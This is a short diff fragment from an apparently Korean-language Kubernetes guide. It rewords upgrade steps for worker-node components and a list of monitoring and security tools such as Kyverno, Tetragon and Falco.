kube-scheduler. -- cloud controller manager (사용 중인 경우). -- kube-proxy, kubelet 등 Worker Node 구성요소를 업그레이드하세요. +- cloud controller manager(사용 중이라면). +- Worker Node 컴포넌트(kube-proxy, kubelet 등)를 업그레이드하십시오. -## Kubernetes 모니터링 및 보안: +## Kubernetes monitoring & security: - Kyverno Policy Engine -- Cilium Tetragon - eBPF 기반의 보안 관찰성 및 런타임 강제 적용 +- Cilium Tetragon - eBPF 기반의 보안 가시성 및 런타임 강제 - 네트워크 보안 정책 - Falco - 런타임 보안 모니터링 및 탐지